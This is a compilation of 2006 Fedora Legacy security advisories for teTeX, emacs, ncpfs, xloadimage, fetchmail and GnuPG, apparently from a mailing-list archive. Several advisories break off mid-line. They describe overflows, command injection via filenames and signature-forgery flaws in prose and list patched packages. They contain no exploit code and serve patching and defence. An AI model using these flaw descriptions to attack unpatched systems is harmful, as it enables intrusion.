Users of teTeX should upgrade to these updated packages, which contain
backported patches and are not vulnerable to these issues.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which
are not installed but included in the list will not be updated.  Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.

Please note that this update is also available via yum and apt.  Many
people find this an easier way to apply updates.  To use yum issue:

yum update

or to use apt:

apt-get update; apt-get upgrade

This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system.  This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www.fedoralegacy.org/docs for directions on how to
configure yum and apt-get.

5. Bug IDs fixed:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152868

6. RPMs required:

Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/tetex-1.0.7-47.5.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-1.0.7-47.5.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-afm-1.0.7-47.5.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-doc-1.0.7-47.5.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-dvilj-1.0.7-47.5.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-dvips-1.0.7-47.5.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-fonts-1.0.7-47.5.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-latex-1.0.7-47.5.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/tetex-xdvi-1.0.7-47.5.legacy.i386.rpm

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/tetex-1.0.7-66.3.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/tetex-1.0.7-66.3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/tetex-afm-1.0.7-66.3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/tetex-doc-1.0.7-66.3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/tetex-dvips-1.0.7-66.3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/tetex-fonts-1.0.7-66.3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/tetex-latex-1.0.7-66.3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/tetex-xdvi-1.0.7-66.3.legacy.i386.rpm

Fedora Core 1:

SRPM:
http://download.fedoralegacy.org/fedora/1/updates/SRPMS/tetex-2.0.2-8.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/1/updates/i386/tetex-2.0.2-8.2.legacy.i386.rpm
http://download.fedoralegacy.org/fedora/1/updates/i386/tetex-afm-2.0.2-8.

[Full-disclosure] [FLSA-2006:152898] Updated emacs packages fix a security issue

[Marc Deslauriers]

-
   Fedora Legacy Update Advisory

Synopsis:  Updated emacs packages fix a security issue
Advisory ID:   FLSA:152898
Issue date:2006-05-12
Product:   Red Hat Linux, Fedora Core
Keywords:  Bugfix
CVE Names: CVE-2005-0100
-


-
1. Topic:

Updated Emacs packages that fix a string format issue are now available.

Emacs is a powerful, customizable, self-documenting, modeless text
editor.

2. Relevant releases/architectures:

Red Hat Linux 7.3 - i386
Red Hat Linux 9 - i386
Fedora Core 1 - i386

3. Problem description:

Max Vozeler discovered several format string vulnerabilities in the
movemail utility of Emacs. If a user connects to a malicious POP server,
an attacker can execute arbitrary code as the user running emacs. The
Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CVE-2005-0100 to this issue.

Users of Emacs are advised to upgrade to these updated packages, which
contain backported patches to correct this issue.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which
are not installed but included in the list will not be updated.  Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.

Please note that this update is also available via yum and apt.  Many
people find this an easier way to apply updates.  To use yum issue:

yum update

or to use apt:

apt-get update; apt-get upgrade

This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system.  This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www.fedoralegacy.org/docs for directions on how to
configure yum and apt-get.

5. Bug IDs fixed:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152898

6. RPMs required:

Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/emacs-21.2-3.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/emacs-21.2-3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/emacs-el-21.2-3.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/emacs-leim-21.2-3.legacy.i386.rpm

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/emacs-21.2-34.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/emacs-21.2-34.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/emacs-el-21.2-34.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/emacs-leim-21.2-34.legacy.i386.rpm

Fedora Core 1:

SRPM:
http://download.fedoralegacy.org/fedora/1/updates/SRPMS/emacs-21.3-9.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/1/updates/i386/emacs-21.3-9.2.legacy.i386.rpm
http://download.fedoralegacy.org/fedora/1/updates/i386/emacs-el-21.3-9.2.legacy.i386.rpm
http://download.fedoralegacy.org/fedora/1/updates/i386/emacs-leim-21.3-9.2.legacy.i386.rpm


7. Verification:

SHA1 sum Package Name
-

4441c55cfe91aabf2203d68bcbc0cf2bbd5f8798
redhat/7.3/updates/i386/emacs-21.2-3.legacy.i386.rpm
33e802e8f306f13519dd2c3f045eb9efe5e4680a
redhat/7.3/updates/i386/emacs-el-21.2-3.legacy.i386.rpm
f6293ffe1c51c3bb31f1b3941da0938d8a98eff2
redhat/7.3/updates/i386/emacs-leim-21.2-3.legacy.i386.rpm
a5767f1100037b49602abb80831fa22da135c081
redhat/7.3/updates/SRPMS/emacs-21.2-3.legacy.src.rpm
ae56dba68d59f5d49105f7afb6918ac945ad8b01
redhat/9/updates/i386/emacs-21.2-34.legacy.i386.rpm
84047366c8488fa3c95070466b1bd20ce5d8687a
redhat/9/updates/i386/emacs-el-21.2-34.legacy.i386.rpm
8eb8449c456e7d475157992c3e6f8bc4bdf64c7b
redhat/9/updates/i386/emacs-leim-21.2-34.legacy.i386.rpm
4cf0ba484c3ab93210d186beb3c79b68b4e56984
redhat/9/updates/SRPMS/emacs-21.2-34.legacy.src.rpm
d56260f010b4603c89516ccf2ddd09c33c8c53c4
fedora/1/updates/i386/emacs-21.3-9.2.legacy.i386.rpm
6bf7cb9bacc6c0f9374849fa4507ededa13193cf
fedora/1/updates/i386/emacs-el-21.3-9.2.legacy.i386.rpm
fb23df114772b6c758499401751dfc389e2e1d88
fedora/1/updates/i386/emacs-leim-21.3-9.2.legacy.i386.rpm
1a1133d917d4993c92a03c30ba08e8916c6a7bfe
fedora/1/updates/SRPMS/emacs-21.3-9.2.legacy.src.rpm

These packages are GPG signed by Fedora Legacy for security.  Our key is
available from http://www.fedoralegacy.org/about/security.php

You can verify each package with the following command:

rpm --checksi

[Full-disclosure] [FLSA-2006:152904] Updated ncpfs package fixes security issues

[Marc Deslauriers]

-
   Fedora Legacy Update Advisory

Synopsis:  Updated ncpfs package fixes security issues
Advisory ID:   FLSA:152904
Issue date:2006-05-12
Product:   Red Hat Linux, Fedora Core
Keywords:  Bugfix
CVE Names: CVE-2004-1079 CVE-2005-0013 CVE-2005-0014
-


-
1. Topic:

An updated ncpfs package is now available.

Ncpfs is a file system that understands the Novell NetWare(TM) NCP
protocol.

2. Relevant releases/architectures:

Red Hat Linux 7.3 - i386
Red Hat Linux 9 - i386
Fedora Core 1 - i386
Fedora Core 2 - i386
Fedora Core 3 - i386, x86_64

3. Problem description:

Buffer overflows were found in the nwclient program. An attacker, using
a long -T option, could possibly execute arbitrary code and gain
privileges. The Common Vulnerabilities and Exposures project
(cve.mitre.org) has assigned the name CVE-2004-1079 to this issue.

A bug was found in the way ncpfs handled file permissions. ncpfs did not
sufficiently check if the file owner matched the user attempting to
access the file, potentially violating the file permissions. The Common
Vulnerabilities and Exposures project (cve.mitre.org) has assigned the
name CVE-2005-0013 to this issue.

A buffer overflow was found in the ncplogin program. A remote malicious
NetWare server could execute arbitrary code on a victim's machine. The
Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CVE-2005-0014 to this issue.

All users of ncpfs are advised to upgrade to this updated package, which
contains backported fixes for these issues.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which
are not installed but included in the list will not be updated.  Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.

Please note that this update is also available via yum and apt.  Many
people find this an easier way to apply updates.  To use yum issue:

yum update

or to use apt:

apt-get update; apt-get upgrade

This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system.  This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www.fedoralegacy.org/docs for directions on how to
configure yum and apt-get.

5. Bug IDs fixed:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152904

6. RPMs required:

Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/ncpfs-2.2.0.18-6.1.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/ncpfs-2.2.0.18-6.1.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/ipxutils-2.2.0.18-6.1.legacy.i386.rpm

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/ncpfs-2.2.1-1.1.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/ncpfs-2.2.1-1.1.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/9/updates/i386/ipxutils-2.2.1-1.1.legacy.i386.rpm

Fedora Core 1:

SRPM:
http://download.fedoralegacy.org/fedora/1/updates/SRPMS/ncpfs-2.2.3-1.1.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/1/updates/i386/ncpfs-2.2.3-1.1.legacy.i386.rpm
http://download.fedoralegacy.org/fedora/1/updates/i386/ipxutils-2.2.3-1.1.legacy.i386.rpm

Fedora Core 2:

SRPM:
http://download.fedoralegacy.org/fedora/2/updates/SRPMS/ncpfs-2.2.4-1.1.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/2/updates/i386/ncpfs-2.2.4-1.1.legacy.i386.rpm
http://download.fedoralegacy.org/fedora/2/updates/i386/ipxutils-2.2.4-1.1.legacy.i386.rpm

Fedora Core 3:

SRPM:
http://download.fedoralegacy.org/fedora/3/updates/SRPMS/ncpfs-2.2.4-5.FC3.1.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/3/updates/i386/ncpfs-2.2.4-5.FC3.1.legacy.i386.rpm
http://download.fedoralegacy.org/fedora/3/updates/i386/ipxutils-2.2.4-5.FC3.1.legacy.i386.rpm

x86_64:
http://download.fedoralegacy.org/fedora/3/updates/x86_64/ncpfs-2.2.4-5.FC3.1.legacy.x86_64.rpm
http://download.fedoralegacy.org/fedora/3/updates/x86_64/ipxutils-2.2.4-5.FC3.1.legacy.x86_64.rpm


7. Verification:

SHA1 sum Package Name
-

16740d3fa5e17a46429ad3586e4adf9a14a64f8d
redhat/7.3/updates/i386/ncpfs-2.2.0.18-6.1.legacy.i386.rpm
21f8520c8a2a3d60e55041c0db028e03549f8544
redhat/7.3/updates/i386/ipxutils-2.2.0.18-6.1.legacy.i386.rpm
6704d55f1f43360b6ad4211e2ca0f92e9f21

[Full-disclosure] [FLSA-2006:152923] Updated xloadimage package fixes security issues

[Marc Deslauriers]

-
   Fedora Legacy Update Advisory

Synopsis:  Updated xloadimage package fixes security issues
Advisory ID:   FLSA:152923
Issue date:2006-05-12
Product:   Red Hat Linux, Fedora Core
Keywords:  Bugfix
CVE Names: CVE-2005-0638 CVE-2005-3178
-


-
1. Topic:

A new xloadimage package that fixes bugs in handling malformed tiff and
pbm/pnm/ppm images, and in handling metacharacters in file names is now
available.

The xloadimage utility displays images in an X Window System window,
loads images into the root window, or writes images into a file.
Xloadimage supports many image types (including GIF, TIFF, JPEG, XPM,
and XBM).

2. Relevant releases/architectures:

Red Hat Linux 7.3 - i386
Red Hat Linux 9 - i386
Fedora Core 1 - i386
Fedora Core 2 - i386

3. Problem description:

A flaw was discovered in xloadimage where filenames were not properly
quoted when calling the gunzip command. An attacker could create a file
with a carefully crafted filename so that it would execute arbitrary
commands if opened by a victim. The Common Vulnerabilities and
Exposures project (cve.mitre.org) has assigned the name CVE-2005-0638 to
this issue.

A flaw was discovered in xloadimage via which an attacker can construct
a NIFF image with a very long embedded image title. This image can cause
a buffer overflow. The Common Vulnerabilities and Exposures project
(cve.mitre.org) has assigned the name CVE-2005-3178 to this issue.

All users of xloadimage should upgrade to this erratum package, which
contains backported patches to correct these issues.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which
are not installed but included in the list will not be updated.  Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.

Please note that this update is also available via yum and apt.  Many
people find this an easier way to apply updates.  To use yum issue:

yum update

or to use apt:

apt-get update; apt-get upgrade

This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system.  This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www.fedoralegacy.org/docs for directions on how to
configure yum and apt-get.

5. Bug IDs fixed:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152923

6. RPMs required:

Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/xloadimage-4.1-21.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/xloadimage-4.1-21.2.legacy.i386.rpm

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/xloadimage-4.1-27.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/xloadimage-4.1-27.2.legacy.i386.rpm

Fedora Core 1:

SRPM:
http://download.fedoralegacy.org/fedora/1/updates/SRPMS/xloadimage-4.1-29.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/1/updates/i386/xloadimage-4.1-29.2.legacy.i386.rpm

Fedora Core 2:

SRPM:
http://download.fedoralegacy.org/fedora/2/updates/SRPMS/xloadimage-4.1-34.FC2.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/2/updates/i386/xloadimage-4.1-34.FC2.2.legacy.i386.rpm


7. Verification:

SHA1 sum Package Name
-

88326ff1a0753287240180322b36f8174686e0cc
redhat/7.3/updates/i386/xloadimage-4.1-21.2.legacy.i386.rpm
663b64ed039000824bacd3475e807c29c835f388
redhat/7.3/updates/SRPMS/xloadimage-4.1-21.2.legacy.src.rpm
7fef8d73737dfacb3d56f203bf31f3c8e2014925
redhat/9/updates/i386/xloadimage-4.1-27.2.legacy.i386.rpm
2b4223a41ab2127ee3b173e0803635f3c441bb4f
redhat/9/updates/SRPMS/xloadimage-4.1-27.2.legacy.src.rpm
c24c7a2ae4d703b00a3f84623cae24775674d5d7
fedora/1/updates/i386/xloadimage-4.1-29.2.legacy.i386.rpm
ec2c5a9b5049aeca3cd4d12e7b84c650fec1c295
fedora/1/updates/SRPMS/xloadimage-4.1-29.2.legacy.src.rpm
2910727dcd74a462a2f137746592e53ba5fcdfac
fedora/2/updates/i386/xloadimage-4.1-34.FC2.2.legacy.i386.rpm
924f5e4ffc9ff7190dc1808def838e57377f5fd6
fedora/2/updates/SRPMS/xloadimage-4.1-34.FC2.2.legacy.src.rpm

These packages are GPG signed by Fedora Legacy for security.  Our key is
available from http://www.fedoralegacy.org/about/security.php

You can verify each package with the following command:

rpm --checksig -v 

If you only wish to verify that each pa

[Full-disclosure] [FLSA-2006:164512] Updated fetchmail packages fix security issues

[Marc Deslauriers]

-
   Fedora Legacy Update Advisory

Synopsis:  Updated fetchmail packages fix security issues
Advisory ID:   FLSA:164512
Issue date:2006-05-12
Product:   Red Hat Linux, Fedora Core
Keywords:  Bugfix
CVE Names: CVE-2003-0792 CVE-2005-2335 CVE-2005-3088
   CVE-2005-4348
-


-
1. Topic:

Updated fetchmail packages that fix security flaws are now available.

Fetchmail is a remote mail retrieval and forwarding utility.

2. Relevant releases/architectures:

Red Hat Linux 7.3 - i386
Red Hat Linux 9 - i386
Fedora Core 1 - i386
Fedora Core 2 - i386

3. Problem description:

A bug was found in the way fetchmail allocates memory for long lines. A
remote attacker could cause a denial of service by sending a specially-
crafted email. The Common Vulnerabilities and Exposures project has
assigned the name CVE-2003-0792 to this issue.

A buffer overflow was discovered in fetchmail's POP3 client. A malicious
server could cause send a carefully crafted message UID and cause
fetchmail to crash or potentially execute arbitrary code as the user
running fetchmail. The Common Vulnerabilities and Exposures project
assigned the name CVE-2005-2335 to this issue.

A bug was found in the way the fetchmailconf utility program writes
configuration files. The default behavior of fetchmailconf is to write a
configuration file which may be world readable for a short period of
time. This configuration file could provide passwords to a local
malicious attacker within the short window before fetchmailconf sets
secure permissions. The Common Vulnerabilities and Exposures project has
assigned the name CVE-2005-3088 to this issue.

A bug was found when fetchmail is running in multidrop mode. A malicious
mail server can cause a denial of service by sending a message without
headers. The Common Vulnerabilities and Exposures project has assigned
the name CVE-2005-4348 to this issue.

Users of fetchmail should update to this erratum package which contains
backported patches to correct these issues.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which
are not installed but included in the list will not be updated.  Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.

Please note that this update is also available via yum and apt.  Many
people find this an easier way to apply updates.  To use yum issue:

yum update

or to use apt:

apt-get update; apt-get upgrade

This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system.  This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www.fedoralegacy.org/docs for directions on how to
configure yum and apt-get.

5. Bug IDs fixed:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=164512

6. RPMs required:

Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/fetchmail-5.9.0-21.7.3.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/fetchmail-5.9.0-21.7.3.2.legacy.i386.rpm
http://download.fedoralegacy.org/redhat/7.3/updates/i386/fetchmailconf-5.9.0-21.7.3.2.legacy.i386.rpm

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/fetchmail-6.2.0-3.4.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/fetchmail-6.2.0-3.4.legacy.i386.rpm

Fedora Core 1:

SRPM:
http://download.fedoralegacy.org/fedora/1/updates/SRPMS/fetchmail-6.2.0-8.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/1/updates/i386/fetchmail-6.2.0-8.2.legacy.i386.rpm

Fedora Core 2:

SRPM:
http://download.fedoralegacy.org/fedora/2/updates/SRPMS/fetchmail-6.2.5-2.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/2/updates/i386/fetchmail-6.2.5-2.2.legacy.i386.rpm


7. Verification:

SHA1 sum Package Name
-

8b49bca60dc8bcbba7634b8e0559c82fbeef3db5
redhat/7.3/updates/i386/fetchmail-5.9.0-21.7.3.2.legacy.i386.rpm
9c9c861757b4b8b2866f1d0e91dbc16d5037d956
redhat/7.3/updates/i386/fetchmailconf-5.9.0-21.7.3.2.legacy.i386.rpm
9cca4f274cb21928d459ed25883e5d3c1f758f10
redhat/7.3/updates/SRPMS/fetchmail-5.9.0-21.7.3.2.legacy.src.rpm
0fd22e51f83aab97d8c1790ed95423882f01aa9b
redhat/9/updates/i386/fetchmail-6.2.0-3.4.legacy.i386.rpm
7d2eb582d0aba96e07710eb89cd8c4c41c4530d3
redhat/9/updates/SRPMS/fetchmail-

[Full-disclosure] [FLSA-2006:185355] Updated gnupg package fixes security issues

[Marc Deslauriers]

-
   Fedora Legacy Update Advisory

Synopsis:  Updated gnupg package fixes security issues
Advisory ID:   FLSA:185355
Issue date:2006-05-12
Product:   Red Hat Linux, Fedora Core
Keywords:  Bugfix
CVE Names: CVE-2006-0049 CVE-2006-0455
-


-
1. Topic:

An updated GnuPG package that fixes signature verification flaws is now
available.

GnuPG is a utility for encrypting data and creating digital signatures.

2. Relevant releases/architectures:

Red Hat Linux 7.3 - i386
Red Hat Linux 9 - i386
Fedora Core 1 - i386
Fedora Core 2 - i386
Fedora Core 3 - i386, x86_64

3. Problem description:

Tavis Ormandy discovered a bug in the way GnuPG verifies
cryptographically signed data with detached signatures. It is possible
for an attacker to construct a cryptographically signed message which
could appear to come from a third party. When a victim processes a GnuPG
message with a malformed detached signature, GnuPG ignores the malformed
signature, processes and outputs the signed data, and exits with status
0, just as it would if the signature had been valid. In this case,
GnuPG's exit status would not indicate that no signature verification
had taken place. This issue would primarily be of concern when
processing GnuPG results via an automated script. The Common
Vulnerabilities and Exposures project assigned the name CVE-2006-0455 to
this issue.

Tavis Ormandy also discovered a bug in the way GnuPG verifies
cryptographically signed data with inline signatures. It is possible for
an attacker to inject unsigned data into a signed message in such a way
that when a victim processes the message to recover the data, the
unsigned data is output along with the signed data, gaining the
appearance of having been signed. The Common Vulnerabilities and
Exposures project assigned the name CVE-2006-0049 to this issue.

Please note that neither of these issues affect the way RPM or up2date
verify RPM package files, nor is RPM vulnerable to either of these
issues.

All users of GnuPG are advised to upgrade to this updated package, which
contains backported patches to correct these issues.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which
are not installed but included in the list will not be updated.  Note
that you can also use wildcards (*.rpm) if your current directory *only*
contains the desired RPMs.

Please note that this update is also available via yum and apt.  Many
people find this an easier way to apply updates.  To use yum issue:

yum update

or to use apt:

apt-get update; apt-get upgrade

This will start an interactive process that will result in the
appropriate RPMs being upgraded on your system.  This assumes that you
have yum or apt-get configured for obtaining Fedora Legacy content.
Please visit http://www.fedoralegacy.org/docs for directions on how to
configure yum and apt-get.

5. Bug IDs fixed:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=185355

6. RPMs required:

Red Hat Linux 7.3:
SRPM:
http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/gnupg-1.0.7-13.3.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/7.3/updates/i386/gnupg-1.0.7-13.3.legacy.i386.rpm

Red Hat Linux 9:

SRPM:
http://download.fedoralegacy.org/redhat/9/updates/SRPMS/gnupg-1.2.1-9.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/redhat/9/updates/i386/gnupg-1.2.1-9.2.legacy.i386.rpm

Fedora Core 1:

SRPM:
http://download.fedoralegacy.org/fedora/1/updates/SRPMS/gnupg-1.2.3-2.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/1/updates/i386/gnupg-1.2.3-2.2.legacy.i386.rpm

Fedora Core 2:

SRPM:
http://download.fedoralegacy.org/fedora/2/updates/SRPMS/gnupg-1.2.4-2.3.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/2/updates/i386/gnupg-1.2.4-2.3.legacy.i386.rpm

Fedora Core 3:

SRPM:
http://download.fedoralegacy.org/fedora/3/updates/SRPMS/gnupg-1.2.7-1.2.legacy.src.rpm

i386:
http://download.fedoralegacy.org/fedora/3/updates/i386/gnupg-1.2.7-1.2.legacy.i386.rpm

x86_64:
http://download.fedoralegacy.org/fedora/3/updates/x86_64/gnupg-1.2.7-1.2.legacy.x86_64.rpm

7. Verification:

SHA1 sum Package Name
-

8908e71fbca5c2bae5f3aadd774e42a49a5cb957
redhat/7.3/updates/i386/gnupg-1.0.7-13.3.legacy.i386.rpm
dd9dc31630ca66faffb4f214f425b973cb3212cf
redhat/7.3/updates/SRPMS/gnupg-1.0.7-13.3.legacy.src.rpm
b551dcbc9739ca6af6ca175c61709d5a4209fee6
redhat/9/